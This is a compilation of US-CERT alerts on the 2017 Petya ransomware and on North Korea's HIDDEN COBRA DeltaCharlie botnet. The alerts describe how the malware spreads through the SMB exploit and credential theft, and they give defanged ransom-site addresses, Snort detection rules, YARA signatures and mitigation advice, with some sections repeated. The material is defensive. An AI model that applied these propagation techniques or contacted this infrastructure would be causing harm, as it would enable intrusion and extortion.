US-CERT received a sample of this Petya ransomware variant and performed a detailed malware analysis. The team found that this Petya variant encrypts the victim’s files with a dynamically generated, 128-bit key and creates a unique ID of the victim. However, there is no evidence of a relationship between the encryption key and the victim’s ID, which means it may not be possible for the attacker to decrypt the victim’s files even if the ransom is paid.

This Petya variant spreads using the SMB exploit as described in MS17-010 and by stealing the user’s Windows credentials. This variant of Petya is notable for installing a modified version of the Mimikatz tool, which can be used to obtain the user’s credentials. The stolen credentials can be used to access other systems on the network. This Petya variant will also attempt to identify other hosts on the network by checking the compromised system’s IP physical address mapping table. Next, it scans for other systems that are vulnerable to the SMB exploit and installs the malicious payload.

The compromised system’s files are encrypted with a 128-bit Advanced Encryption Standard (AES) algorithm during runtime. This Petya variant writes a text file on the “C:\” drive with the Bitcoin wallet information and RSA keys for the ransom payment. It modifies the master boot record (MBR) to enable encryption of the master file table (MFT) and the original MBR, then reboots the system. Based on the encryption methods used, it appears unlikely that the files can be restored even if the attacker received the victim’s unique ID.

Impact

According to multiple reports, this Petya ransomware campaign has infected organizations in several sectors including finance, transportation, energy, commercial facilities, and healthcare. While these victims are business entities, other Windows systems without patches installed for the vulnerabilities in MS17‑010, CVE-2017-0144, and CVE-2017-0145 are at risk of infection.

Negative consequences of ransomware infection include the following:

  • temporary or permanent loss of sensitive or proprietary information,
  • disruption to regular operations,
  • financial losses incurred to restore systems and files, and
  • potential harm to an organization’s reputation.

Solution

NCCIC recommends against paying ransoms; doing so enriches malicious actors while offering no guarantee that the encrypted files will be released. In this incident, the email address for payment validation was shut down by the email provider, so payment is especially unlikely to lead to data recovery.[1] According to one NCCIC stakeholder, the below sites are C2 payment sites for this activity. These sites are not included in the CSV package as IOCs.

hxxp://mischapuk6hyrn72[.]onion/
hxxp://petya3jxfp2f7g3i[.]onion/
hxxp://petya3sen7dyko2n[.]onion/
hxxp://mischa5xyix2mrhd[.]onion/MZ2MMJ
hxxp://mischapuk6hyrn72[.]onion/MZ2MMJ
hxxp://petya3jxfp2f7g3i[.]onion/MZ2MMJ
hxxp://petya3sen7dyko2n[.]onion/MZ2MMJ

Network Signatures

NCCIC recommends that organizations coordinate with their security vendors to ensure appropriate coverage for this threat. Because there is overlap between the WannaCry and Petya activities, many of the available rulesets can protect against both malware strains when appropriately implemented. The following rulesets provided in publically available sources may help detect this activity:

  • sid:2001569, “ET SCAN Behavioral Unusual Port 445 traffic Potential Scan or Infection”[2]
  • sid:2012063, “ET NETBIOS Microsoft SRV2.SYS SMB Negotiate ProcessID? Function Table Dereference (CVE-2009-3103)”[3]
  • sid:2024297, “ET CURRENT_EVENTS ETERNALBLUE Exploit M2 MS17-010”[4]
Recommended Steps for Prevention
  • Apply the Microsoft patch for the MS17-010 SMB vulnerability dated March 14, 2017.[5]
  • Enable strong spam filters to prevent phishing emails from reaching the end users and authenticate in-bound email using technologies like Sender Policy Framework (SPF), Domain Message Authentication Reporting and Conformance (DMARC), and DomainKeys Identified Mail (DKIM) to prevent email spoofing. 
  • Scan all incoming and outgoing emails to detect threats and filter executable files from reaching the end users.
  • Ensure anti-virus and anti-malware solutions are set to automatically conduct regular scans.
  • Manage the use of privileged accounts. Implement the principle of least privilege. No users should be assigned administrative access unless absolutely needed. Those with a need for administrator accounts should only use them when necessary. 
  • Configure access controls including file, directory, and network share permissions with least privilege in mind. If a user only needs to read specific files, they should not have write access to those files, directories, or shares. 
  • Disable macro scripts from Microsoft Office files transmitted via email. Consider using Office Viewer software to open Microsoft Office files transmitted via email instead of full Office suite applications.
  • Develop, institute, and practice employee education programs for identifying scams, malicious links, and attempted social engineering.
  • Run regular penetration tests against the network, no less than once a year. Ideally, run these as often as possible and practical.
  • Test your backups to ensure they work correctly upon use.
  • Utilize host-based firewalls and block workstation-to-workstation communications.
Recommendations for Network Protection 
  • Disable SMBv1 and
  • Block all versions of SMB at the network boundary by blocking TCP port 445 with related protocols on UDP ports 137-138 and TCP port 139, for all boundary devices.

Note: disabling or blocking SMB may create problems by obstructing access to shared files, data, or devices. The benefits of mitigation should be weighed against potential disruptions to users.

Review US-CERT’s Alert on The Increasing Threat to Network Infrastructure Devices and Recommended Mitigations [6] and consider implementing the following best practices:

  1. Segregate networks and functions.
  2. Limit unnecessary lateral communications.
  3. Harden network devices.
  4. Secure access to infrastructure devices.
  5. Perform out-of-band network management.
  6. Validate integrity of hardware and software.
Recommended Steps for Remediation
  • Contact law enforcement. We strongly encourage you to contact a local FBI field office upon discovery to report an intrusion and request assistance. Maintain and provide relevant logs.
  • Implement your security incident response and business continuity plan. Ideally, organizations should ensure they have appropriate backups so their response is simply to restore the data from a known clean backup. 
General Advice for Defending Against Ransomware

Precautionary measures to mitigate ransomware threats include:

  • Ensure anti-virus software is up-to-date.
  • Implement a data backup and recovery plan to maintain copies of sensitive or proprietary data in a separate and secure location. Backup copies of sensitive data should not be readily accessible from local networks.
  • Scrutinize links contained in emails, and do not open attachments included in unsolicited emails.
  • Only download software—especially free software—from sites you know and trust.
  • Enable automated patches for your operating system and Web browser.
Report Notice

DHS encourages recipients who identify the use of tools or techniques discussed in this document to report information to DHS or law enforcement immediately. To request incident response resources or technical assistance, contact DHS’s National Cybersecurity and Communications Integration Center (NCCIC) at NCCICcustomerservice@hq.dhs.gov or 888-282-0870. Cyber crime incidents can also be reported to the Internet Crime Complaint Center (IC3) at https://www.ic3.gov/default.aspx.

References

Revision History

  • July 1, 2017: Initial version

This product is provided subject to this Notification and this Privacy & Use policy.


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TA17-181A: Petya Ransomware

1 July 2017
Original release date: July 01, 2017 | Last revised: July 07, 2017

Systems Affected

Microsoft Windows operating systems

Overview

On June 27, 2017, NCCIC was notified of Petya ransomware events occurring in multiple countries and affecting multiple sectors. Petya ransomware encrypts the master boot records of infected Windows computers, making affected machines unusable.

The NCCIC Code Analysis Team produced a Malware Initial Findings Report (MIFR) to provide in-depth technical analysis of the malware. In coordination with public and private sector partners, NCCIC is also providing additional IOCs in comma-separated-value form for information sharing purposes.

Available Files:

The scope of this Alert’s analysis is limited to the newest “Petya” variant that surfaced June 27, 2017, and this malware is referred to as “Petya” throughout this Alert.

Description

Based on initial reporting, this Petya campaign involves multiple methods of initial infection and propagation, including exploiting vulnerabilities in Server Message Block (SMB). Microsoft released a security update for the MS17-010 vulnerability on March 14, 2017. Background information on ransomware infections is provided in US-CERT Alert TA16-091A.

Technical Details

US-CERT received a sample of this Petya ransomware variant and performed a detailed malware analysis. The team found that this Petya variant encrypts the victim’s files with a dynamically generated, 128-bit key and creates a unique ID of the victim. However, there is no evidence of a relationship between the encryption key and the victim’s ID, which means it may not be possible for the attacker to decrypt the victim’s files even if the ransom is paid.

This Petya variant spreads using the SMB exploit as described in MS17-010 and by stealing the user’s Windows credentials. This variant of Petya is notable for installing a modified version of the Mimikatz tool, which can be used to obtain the user’s credentials. The stolen credentials can be used to access other systems on the network. This Petya variant will also attempt to identify other hosts on the network by checking the compromised system’s IP physical address mapping table. Next, it scans for other systems that are vulnerable to the SMB exploit and installs the malicious payload.

The compromised system’s files are encrypted with a 128-bit Advanced Encryption Standard (AES) algorithm during runtime. This Petya variant writes a text file on the “C:\” drive with the Bitcoin wallet information and RSA keys for the ransom payment. It modifies the master boot record (MBR) to enable encryption of the master file table (MFT) and the original MBR, then reboots the system. Based on the encryption methods used, it appears unlikely that the files can be restored even if the attacker received the victim’s unique ID.

Impact

According to multiple reports, this Petya ransomware campaign has infected organizations in several sectors including finance, transportation, energy, commercial facilities, and healthcare. While these victims are business entities, other Windows systems without patches installed for the vulnerabilities in MS17‑010, CVE-2017-0144, and CVE-2017-0145 are at risk of infection.

Negative consequences of ransomware infection include the following:

  • temporary or permanent loss of sensitive or proprietary information,
  • disruption to regular operations,
  • financial losses incurred to restore systems and files, and
  • potential harm to an organization’s reputation.

Solution

NCCIC recommends against paying ransoms; doing so enriches malicious actors while offering no guarantee that the encrypted files will be released. In this incident, the email address for payment validation was shut down by the email provider, so payment is especially unlikely to lead to data recovery.[1] According to one NCCIC stakeholder, the below sites are C2 payment sites for this activity. These sites are not included in the CSV package as IOCs.

hxxp://mischapuk6hyrn72[.]onion/
hxxp://petya3jxfp2f7g3i[.]onion/
hxxp://petya3sen7dyko2n[.]onion/
hxxp://mischa5xyix2mrhd[.]onion/MZ2MMJ
hxxp://mischapuk6hyrn72[.]onion/MZ2MMJ
hxxp://petya3jxfp2f7g3i[.]onion/MZ2MMJ
hxxp://petya3sen7dyko2n[.]onion/MZ2MMJ

Network Signatures

NCCIC recommends that organizations coordinate with their security vendors to ensure appropriate coverage for this threat. Because there is overlap between the WannaCry and Petya activities, many of the available rulesets can protect against both malware strains when appropriately implemented. The following rulesets provided in publically available sources may help detect this activity:

  • sid:2001569, “ET SCAN Behavioral Unusual Port 445 traffic Potential Scan or Infection”[2]
  • sid:2012063, “ET NETBIOS Microsoft SRV2.SYS SMB Negotiate ProcessID? Function Table Dereference (CVE-2009-3103)”[3]
  • sid:2024297, “ET CURRENT_EVENTS ETERNALBLUE Exploit M2 MS17-010”[4]
Recommended Steps for Prevention
  • Apply the Microsoft patch for the MS17-010 SMB vulnerability dated March 14, 2017.[5]
  • Enable strong spam filters to prevent phishing emails from reaching the end users and authenticate in-bound email using technologies like Sender Policy Framework (SPF), Domain Message Authentication Reporting and Conformance (DMARC), and DomainKeys Identified Mail (DKIM) to prevent email spoofing. 
  • Scan all incoming and outgoing emails to detect threats and filter executable files from reaching the end users.
  • Ensure anti-virus and anti-malware solutions are set to automatically conduct regular scans.
  • Manage the use of privileged accounts. Implement the principle of least privilege. No users should be assigned administrative access unless absolutely needed. Those with a need for administrator accounts should only use them when necessary. 
  • Configure access controls including file, directory, and network share permissions with least privilege in mind. If a user only needs to read specific files, they should not have write access to those files, directories, or shares. 
  • Disable macro scripts from Microsoft Office files transmitted via email. Consider using Office Viewer software to open Microsoft Office files transmitted via email instead of full Office suite applications.
  • Develop, institute, and practice employee education programs for identifying scams, malicious links, and attempted social engineering.
  • Run regular penetration tests against the network, no less than once a year. Ideally, run these as often as possible and practical.
  • Test your backups to ensure they work correctly upon use.
  • Utilize host-based firewalls and block workstation-to-workstation communications.
Recommendations for Network Protection 
  • Disable SMBv1 and
  • Block all versions of SMB at the network boundary by blocking TCP port 445 with related protocols on UDP ports 137-138 and TCP port 139, for all boundary devices.

Note: disabling or blocking SMB may create problems by obstructing access to shared files, data, or devices. The benefits of mitigation should be weighed against potential disruptions to users.

Review US-CERT’s Alert on The Increasing Threat to Network Infrastructure Devices and Recommended Mitigations [6] and consider implementing the following best practices:

  1. Segregate networks and functions.
  2. Limit unnecessary lateral communications.
  3. Harden network devices.
  4. Secure access to infrastructure devices.
  5. Perform out-of-band network management.
  6. Validate integrity of hardware and software.
Recommended Steps for Remediation
  • Contact law enforcement. We strongly encourage you to contact a local FBI field office upon discovery to report an intrusion and request assistance. Maintain and provide relevant logs.
  • Implement your security incident response and business continuity plan. Ideally, organizations should ensure they have appropriate backups so their response is simply to restore the data from a known clean backup. 
General Advice for Defending Against Ransomware

Precautionary measures to mitigate ransomware threats include:

  • Ensure anti-virus software is up-to-date.
  • Implement a data backup and recovery plan to maintain copies of sensitive or proprietary data in a separate and secure location. Backup copies of sensitive data should not be readily accessible from local networks.
  • Scrutinize links contained in emails, and do not open attachments included in unsolicited emails.
  • Only download software—especially free software—from sites you know and trust.
  • Enable automated patches for your operating system and Web browser.
Report Notice

DHS encourages recipients who identify the use of tools or techniques discussed in this document to report information to DHS or law enforcement immediately. To request incident response resources or technical assistance, contact DHS’s National Cybersecurity and Communications Integration Center (NCCIC) at NCCICcustomerservice@hq.dhs.gov or 888-282-0870. Cyber crime incidents can also be reported to the Internet Crime Complaint Center (IC3) at https://www.ic3.gov/default.aspx.

References

Revision History

  • July 1, 2017: Initial version
  • July 3, 2017: Updated to include MIFR-10130295_stix.xml file. Substituted TA-17-181B_IOCs.csv for TA-17-181A_IOCs.csv.
  • July 7, 2017: Included further guidance from Microsoft in the Reference Section

This product is provided subject to this Notification and this Privacy & Use policy.


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TA17-164A: HIDDEN COBRA – North Korea’s DDoS Botnet Infrastructure

13 June 2017
Original release date: June 13, 2017

Systems Affected

Networked Systems

Overview

This joint Technical Alert (TA) is the result of analytic efforts between the Department of Homeland Security (DHS) and the Federal Bureau of Investigation (FBI). This alert provides technical details on the tools and infrastructure used by cyber actors of the North Korean government to target the media, aerospace, financial, and critical infrastructure sectors in the United States and globally. Working with U.S. Government partners, DHS and FBI identified Internet Protocol (IP) addresses associated with a malware variant, known as DeltaCharlie, used to manage North Korea’s distributed denial-of-service (DDoS) botnet infrastructure. This alert contains indicators of compromise (IOCs), malware descriptions, network signatures, and host-based rules to help network defenders detect activity conducted by the North Korean government. The U.S. Government refers to the malicious cyber activity by the North Korean government as HIDDEN COBRA.

If users or administrators detect the custom tools indicative of HIDDEN COBRA, these tools should be immediately flagged, reported to the DHS National Cybersecurity Communications and Integration Center (NCCIC) or the FBI Cyber Watch (CyWatch), and given highest priority for enhanced mitigation. This alert identifies IP addresses linked to systems infected with DeltaCharlie malware and provides descriptions of the malware and associated malware signatures. DHS and FBI are distributing these IP addresses to enable network defense activities and reduce exposure to the DDoS command-and-control network. FBI has high confidence that HIDDEN COBRA actors are using the IP addresses for further network exploitation.

This alert includes technical indicators related to specific North Korean government cyber operations and provides suggested response actions to those indicators, recommended mitigation techniques, and information on reporting incidents to the U.S. Government.

For a downloadable copy of IOCs, see:

Description

Since 2009, HIDDEN COBRA actors have leveraged their capabilities to target and compromise a range of victims; some intrusions have resulted in the exfiltration of data while others have been disruptive in nature. Commercial reporting has referred to this activity as Lazarus Group[1] and Guardians of Peace.[2] DHS and FBI assess that HIDDEN COBRA actors will continue to use cyber operations to advance their government’s military and strategic objectives. Cyber analysts are encouraged to review the information provided in this alert to detect signs of malicious network activity.

Tools and capabilities used by HIDDEN COBRA actors include DDoS botnets, keyloggers, remote access tools (RATs), and wiper malware. Variants of malware and tools used by HIDDEN COBRA actors include Destover,[3] Wild Positron/Duuzer,[4] and Hangman.[5] DHS has previously released Alert TA14-353A,[6] which contains additional details on the use of a server message block (SMB) worm tool employed by these actors. Further research is needed to understand the full breadth of this group’s cyber capabilities. In particular, DHS recommends that more research should be conducted on the North Korean cyber activity that has been reported by cybersecurity and threat research firms.

HIDDEN COBRA actors commonly target systems running older, unsupported versions of Microsoft operating systems. The multiple vulnerabilities in these older systems provide cyber actors many targets for exploitation. These actors have also used Adobe Flash player vulnerabilities to gain initial entry into users’ environments.

HIDDEN COBRA is known to use vulnerabilities affecting various applications. These vulnerabilities include:

  • CVE-2015-6585: Hangul Word Processor Vulnerability
  • CVE-2015-8651: Adobe Flash Player 18.0.0.324 and 19.x Vulnerability
  • CVE-2016-0034: Microsoft Silverlight 5.1.41212.0 Vulnerability
  • CVE-2016-1019: Adobe Flash Player 21.0.0.197 Vulnerability
  • CVE-2016-4117: Adobe Flash Player 21.0.0.226 Vulnerability

We recommend that organizations upgrade these applications to the latest version and patch level. If Adobe Flash or Microsoft Silverlight is no longer required, we recommend that those applications be removed from systems.

The indicators provided with this alert include IP addresses determined to be part of the HIDDEN COBRA botnet infrastructure, identified as DeltaCharlie. The DeltaCharlie DDoS bot was originally reported by Novetta in their 2016 Operation Blockbuster Malware Report. This malware has used the IP addresses identified in the accompanying .csv and .stix files as both source and destination IPs. In some instances, the malware may have been present on victims’ networks for a significant period.

Technical Details

DeltaCharlie is a DDoS tool used by HIDDEN COBRA actors, and is referenced and detailed in Novetta’s Operation Blockbuster Destructive Malware report. The information related to DeltaCharlie from the Operation Blockbuster Destructive Malware report should be viewed in conjunction with the IP addresses listed in the .csv and .stix files provided within this alert. DeltaCharlie is a DDoS tool capable of launching Domain Name System (DNS) attacks, Network Time Protocol (NTP) attacks, and Character Generation Protocol attacks. The malware operates on victims’ systems as a svchost-based service and is capable of downloading executables, changing its own configuration, updating its own binaries, terminating its own processes, and activating and terminating denial-of-service attacks. Further details on the malware can be found in Novetta’s report available at the following URL:

https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf

Detection and Response

HIDDEN COBRA IOCs related to DeltaCharlie are provided within the accompanying .csv and .stix files of this alert. DHS and FBI recommend that network administrators review the IP addresses, file hashes, network signatures, and YARA rules provided, and add the IPs to their watchlist to determine whether malicious activity has been observed within their organization.

When reviewing network perimeter logs for the IP addresses, organizations may find numerous instances of these IP addresses attempting to connect to their systems. Upon reviewing the traffic from these IP addresses, system owners may find that some traffic corresponds to malicious activity and some to legitimate activity. System owners are also advised to run the YARA tool on any system they suspect to have been targeted by HIDDEN COBRA actors. Additionally, the appendices of this report provide network signatures to aid in the detection and mitigation of HIDDEN COBRA activity.

Network Signatures and Host-Based Rules

This section contains network signatures and host-based rules that can be used to detect malicious activity associated with HIDDEN COBRA actors. Although created using a comprehensive vetting process, the possibility of false positives always remains. These signatures and rules should be used to supplement analysis and should not be used as a sole source of attributing this activity to HIDDEN COBRA actors.

Network Signatures

alert tcp any any -> any any (msg:"DPRK_HIDDEN_COBRA_DDoS_HANDSHAKE_SUCCESS"; dsize:6; flow:established,to_server; content:"|18 17 e9 e9 e9 e9|"; fast_pattern:only; sid:1; rev:1;)

________________________________________________________________

alert tcp any any -> any any (msg:"DPRK_HIDDEN_COBRA_Botnet_C2_Host_Beacon"; flow:established,to_server; content:"|1b 17 e9 e9 e9 e9|"; depth:6; fast_pattern; sid:1; rev:1;)

________________________________________________________________

YARA Rules

"strings:

$rsaKey = {7B 4E 1E A7 E9 3F 36 4C DE F4 F0 99 C4 D9 B7 94

A1 FF F2 97 D3 91 13 9D C0 12 02 E4 4C BB 6C 77

48 EE 6F 4B 9B 53 60 98 45 A5 28 65 8A 0B F8 39

73 D7 1A 44 13 B3 6A BB 61 44 AF 31 47 E7 87 C2

AE 7A A7 2C 3A D9 5C 2E 42 1A A6 78 FE 2C AD ED

39 3F FA D0 AD 3D D9 C5 3D 28 EF 3D 67 B1 E0 68

3F 58 A0 19 27 CC 27 C9 E8 D8 1E 7E EE 91 DD 13

B3 47 EF 57 1A CA FF 9A 60 E0 64 08 AA E2 92 D0}

condition: any of them"

________________________________________________________________

"strings:

$STR1 = "Wating" wide ascii

$STR2 = "Reamin" wide ascii

$STR3 = "laptos" wide ascii

condition: (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and 2 of them}"

________________________________________________________________

"strings:

$randomUrlBuilder = { 83 EC 48 53 55 56 57 8B 3D ?? ?? ?? ?? 33 C0 C7 44 24 28 B4 6F 41 00 C7 44 24 2C B0 6F 41 00 C7 44 24 30 AC 6F 41 00 C7 44 24 34 A8 6F 41 00 C7 44 24 38 A4 6F 41 00 C7 44 24 3C A0 6F 41 00 C7 44 24 40 9C 6F 41 00 C7 44 24 44 94 6F 41 00 C7 44 24 48 8C 6F 41 00 C7 44 24 4C 88 6F 41 00 C7 44 24 50 80 6F 41 00 89 44 24 54 C7 44 24 10 7C 6F 41 00 C7 44 24 14 78 6F 41 00 C7 44 24 18 74 6F 41 00 C7 44 24 1C 70 6F 41 00 C7 44 24 20 6C 6F 41 00 89 44 24 24 FF D7 99 B9 0B 00 00 00 F7 F9 8B 74 94 28 BA 9C 6F 41 00 66 8B 06 66 3B 02 74 34 8B FE 83 C9 FF 33 C0 8B 54 24 60 F2 AE 8B 6C 24 5C A1 ?? ?? ?? ?? F7 D1 49 89 45 00 8B FE 33 C0 8D 5C 11 05 83 C9 FF 03 DD F2 AE F7 D1 49 8B FE 8B D1 EB 78 FF D7 99 B9 05 00 00 00 8B 6C 24 5C F7 F9 83 C9 FF 33 C0 8B 74 94 10 8B 54 24 60 8B FE F2 AE F7 D1 49 BF 60 6F 41 00 8B D9 83 C9 FF F2 AE F7 D1 8B C2 49 03 C3 8B FE 8D 5C 01 05 8B 0D ?? ?? ?? ?? 89 4D 00 83 C9 FF 33 C0 03 DD F2 AE F7 D1 49 8D 7C 2A 05 8B D1 C1 E9 02 F3 A5 8B CA 83 E1 03 F3 A4 BF 60 6F 41 00 83 C9 FF F2 AE F7 D1 49 BE 60 6F 41 00 8B D1 8B FE 83 C9 FF 33 C0 F2 AE F7 D1 49 8B FB 2B F9 8B CA 8B C1 C1 E9 02 F3 A5 8B C8 83 E1 03 F3 A4 8B 7C 24 60 8D 75 04 57 56 E8 ?? ?? ?? ?? 83 C4 08 C6 04 3E 2E 8B C5 C6 03 00 5F 5E 5D 5B 83 C4 48 C3 }

condition: $randomUrlBuilder"

________________________________________________________________

 

[1] IBM. “Actor Lazarus Group- Blog Post by IBM X-Force Exchange”

[2] Alien Vault. “Operation Blockbuster Unveils the Actors Behind the Sony Attacks”

[3] Symantec. “Destover: Destructive Malware has links back to attacks on South Korea”

[4] Symantec. “Duuzer back door Trojan targets South Korea to take over computers”

[5] FireEye. “Zero-Day HWP Exploit”

[6] US-CERT. Alert (TA14-353A) Targeted Destructive Malware. Original Release Date: December 19, 2014. | Last revised: September 30, 2016.

[7] Novetta. “Operation Blockbuster Destructive Malware Report.”

[8] Novetta. “Operation Blockbuster Destructive Malware Report.”

[9] Novetta. “Operation Blockbuster Destructive Malware Report.”

Impact

A successful network intrusion can have severe impacts, particularly if the compromise becomes public and sensitive information is exposed. Possible impacts include:

  • temporary or permanent loss of sensitive or proprietary information,
  • disruption to regular operations,
  • financial losses incurred to restore systems and files, and
  • potential harm to an organization’s reputation.

Solution

Mitigation Strategies

Network administrators are encouraged to apply the following recommendations, which can prevent as many as 85 percent of targeted cyber intrusions. The mitigation strategies provided may seem like common sense. However, many organizations fail to use these basic security measures, leaving their systems open to compromise:

  1. Patch applications and operating systems – Most attackers target vulnerable applications and operating systems. Ensuring that applications and operating systems are patched with the latest updates greatly reduces the number of exploitable entry points available to an attacker. Use best practices when updating software and patches by only downloading updates from authenticated vendor sites.
  2. Use application whitelisting – Whitelisting is one of the best security strategies because it allows only specified programs to run while blocking all others, including malicious software.
  3. Restrict administrative privileges – Threat actors are increasingly focused on gaining control of legitimate credentials, especially credentials associated with highly privileged accounts. Reduce privileges to only those needed for a user’s duties. Separate administrators into privilege tiers with limited access to other tiers.
  4. Segment networks and segregate them into security zones – Segment networks into logical enclaves and restrict host-to-host communications paths. This helps protect sensitive information and critical services, and limits damage from network perimeter breaches.
  5. Validate input – Input validation is a method of sanitizing untrusted input provided by users of a web application. Implementing input validation can protect against the security flaws of web applications by significantly reducing the probability of successful exploitation. Types of attacks possibly averted include Structured Query Language (SQL) injection, cross-site scripting, and command injection.
  6. Use stringent file reputation settings – Tune the file reputation systems of your anti-virus software to the most aggressive setting possible. Some anti-virus products can limit execution to only the highest reputation files, stopping a wide range of untrustworthy code from gaining control.
  7. Understand firewalls – Firewalls provide security to make your network less susceptible to attack. They can be configured to block data and applications from certain locations (IP whitelisting), while allowing relevant and necessary data through.

Response to Unauthorized Network Access

Enforce your security incident response and business continuity plan. It may take time for your organization’s IT professionals to isolate and remove threats to your systems and restore normal operations. Meanwhile, you should take steps to maintain your organization’s essential functions according to your business continuity plan. Organizations should maintain and regularly test backup plans, disaster recovery plans, and business continuity procedures.

Contact DHS or your local FBI office immediately. To report an intrusion and request resources for incident response or technical assistant, you are encouraged to contact DHS NCCIC (NCCICCustomerService@hq.dhs.gov or 888-282-0870), the FBI through a local field office, or the FBI’s Cyber Division (CyWatch@fbi.gov or 855-292-3937).

Protect Against SQL Injection and Other Attacks on Web Services

To protect against code injections and other attacks, system operators should routinely evaluate known and published vulnerabilities, periodically perform software updates and technology refreshes, and audit external-facing systems for known web application vulnerabilities. They should also take the following steps to harden both web applications and the servers hosting them to reduce the risk of network intrusion via this vector.

  • Use and configure available firewalls to block attacks.
  • Take steps to secure Windows systems, such as installing and configuring Microsoft’s Enhanced Mitigation Experience Toolkit (EMET) and Microsoft AppLocker.
  • Monitor and remove any unauthorized code present in any www directories.
  • Disable, discontinue, or disallow the use of Internet Control Message Protocol (ICMP) and Simple Network Management Protocol (SNMP) as much as possible.
  • Remove unnecessary HTTP verbs from web servers. Typical web servers and applications only require GET, POST, and HEAD.
  • Where possible, minimize server fingerprinting by configuring web servers to avoid responding with banners identifying the server software and version number.
  • Secure both the operating system and the application.
  • Update and patch production servers regularly.
  • Disable potentially harmful SQL-stored procedure calls.
  • Sanitize and validate input to ensure that it is properly typed and does not contain escaped code.
  • Consider using type-safe stored procedures and prepared statements.
  • Audit transaction logs regularly for suspicious activity.
  • Perform penetration testing on web services.
  • Ensure error messages are generic and do not expose too much information.

Permissions, Privileges, and Access Controls

System operators should take the following steps to limit permissions, privileges, and access controls.

  • Reduce privileges to only those needed for a user’s duties.
  • Restrict users’ ability (permissions) to install and run unwanted software applications, and apply the principle of “Least Privilege” to all systems and services. Restricting these privileges may prevent malware from running or limit its capability to spread through the network.
  • Carefully consider the risks before granting administrative rights to users on their own machines.
  • Scrub and verify all administrator accounts regularly.
  • Configure Group Policy to restrict all users to only one login session, where possible.
  • Enforce secure network authentication, where possible.
  • Instruct administrators to use non-privileged accounts for standard functions such as web browsing or checking webmail.
  • Segment networks into logical enclaves and restrict host-to-host communication paths. Containment provided by enclaving also makes incident cleanup significantly less costly.
  • Configure firewalls to disallow Remote Desktop Protocol (RDP) traffic coming from outside of the network boundary, except for in specific configurations such as when tunneled through a secondary virtual private network (VPN) with lower privileges.
  • Audit existing firewall rules and close all ports that are not explicitly needed for business. Specifically, carefully consider which ports should be connecting outbound versus inbound.
  • Enforce a strict lockout policy for network users and closely monitor logs for failed login activity. Failed login activity can be indicative of failed intrusion activity.
  • If remote access between zones is an unavoidable business need, log and monitor these connections closely.
  • In environments with a high risk of interception or intrusion, organizations should consider supplementing password authentication with other forms of authentication such as challenge/response or multifactor authentication using biometric or physical tokens.

Logging Practices

System operators should follow these secure logging practices.

  • Ensure event logging, including applications, events, login activities, and security attributes, is turned on or monitored for identification of security issues.
  • Configure network logs to provide adequate information to assist in quickly developing an accurate determination of a security incident.
  • Upgrade PowerShell to new versions with enhanced logging features and monitor the logs to detect usage of PowerShell commands, which are often malware-related.
  • Secure logs in a centralized location and protect them from modification.
  • Prepare an incident response plan that can be rapidly administered in case of a cyber intrusion.

 

References

Revision History

  • June 13, 2017: Initial Release

This product is provided subject to this Notification and this Privacy & Use policy.


Continue reading...

TA17-164A: HIDDEN COBRA – North Korea’s DDoS Botnet Infrastructure

13 June 2017
Original release date: June 13, 2017 | Last revised: July 07, 2017

Systems Affected

Networked Systems

Overview

This joint Technical Alert (TA) is the result of analytic efforts between the Department of Homeland Security (DHS) and the Federal Bureau of Investigation (FBI). This alert provides technical details on the tools and infrastructure used by cyber actors of the North Korean government to target the media, aerospace, financial, and critical infrastructure sectors in the United States and globally. Working with U.S. Government partners, DHS and FBI identified Internet Protocol (IP) addresses associated with a malware variant, known as DeltaCharlie, used to manage North Korea’s distributed denial-of-service (DDoS) botnet infrastructure. This alert contains indicators of compromise (IOCs), malware descriptions, network signatures, and host-based rules to help network defenders detect activity conducted by the North Korean government. The U.S. Government refers to the malicious cyber activity by the North Korean government as HIDDEN COBRA.

If users or administrators detect the custom tools indicative of HIDDEN COBRA, these tools should be immediately flagged, reported to the DHS National Cybersecurity Communications and Integration Center (NCCIC) or the FBI Cyber Watch (CyWatch), and given highest priority for enhanced mitigation. This alert identifies IP addresses linked to systems infected with DeltaCharlie malware and provides descriptions of the malware and associated malware signatures. DHS and FBI are distributing these IP addresses to enable network defense activities and reduce exposure to the DDoS command-and-control network. FBI has high confidence that HIDDEN COBRA actors are using the IP addresses for further network exploitation.

This alert includes technical indicators related to specific North Korean government cyber operations and provides suggested response actions to those indicators, recommended mitigation techniques, and information on reporting incidents to the U.S. Government.

For a downloadable copy of IOCs, see:

Description

Since 2009, HIDDEN COBRA actors have leveraged their capabilities to target and compromise a range of victims; some intrusions have resulted in the exfiltration of data while others have been disruptive in nature. Commercial reporting has referred to this activity as Lazarus Group[1] and Guardians of Peace.[2] DHS and FBI assess that HIDDEN COBRA actors will continue to use cyber operations to advance their government’s military and strategic objectives. Cyber analysts are encouraged to review the information provided in this alert to detect signs of malicious network activity.

Tools and capabilities used by HIDDEN COBRA actors include DDoS botnets, keyloggers, remote access tools (RATs), and wiper malware. Variants of malware and tools used by HIDDEN COBRA actors include Destover,[3] Wild Positron/Duuzer,[4] and Hangman.[5] DHS has previously released Alert TA14-353A,[6] which contains additional details on the use of a server message block (SMB) worm tool employed by these actors. Further research is needed to understand the full breadth of this group’s cyber capabilities. In particular, DHS recommends that more research should be conducted on the North Korean cyber activity that has been reported by cybersecurity and threat research firms.

HIDDEN COBRA actors commonly target systems running older, unsupported versions of Microsoft operating systems. The multiple vulnerabilities in these older systems provide cyber actors many targets for exploitation. These actors have also used Adobe Flash player vulnerabilities to gain initial entry into users’ environments.

HIDDEN COBRA is known to use vulnerabilities affecting various applications. These vulnerabilities include:

  • CVE-2015-6585: Hangul Word Processor Vulnerability
  • CVE-2015-8651: Adobe Flash Player 18.0.0.324 and 19.x Vulnerability
  • CVE-2016-0034: Microsoft Silverlight 5.1.41212.0 Vulnerability
  • CVE-2016-1019: Adobe Flash Player 21.0.0.197 Vulnerability
  • CVE-2016-4117: Adobe Flash Player 21.0.0.226 Vulnerability

We recommend that organizations upgrade these applications to the latest version and patch level. If Adobe Flash or Microsoft Silverlight is no longer required, we recommend that those applications be removed from systems.

The indicators provided with this alert include IP addresses determined to be part of the HIDDEN COBRA botnet infrastructure, identified as DeltaCharlie. The DeltaCharlie DDoS bot was originally reported by Novetta in their 2016 Operation Blockbuster Malware Report.[7] This malware has used the IP addresses identified in the accompanying .csv and .stix files as both source and destination IPs. In some instances, the malware may have been present on victims’ networks for a significant period.

Technical Details

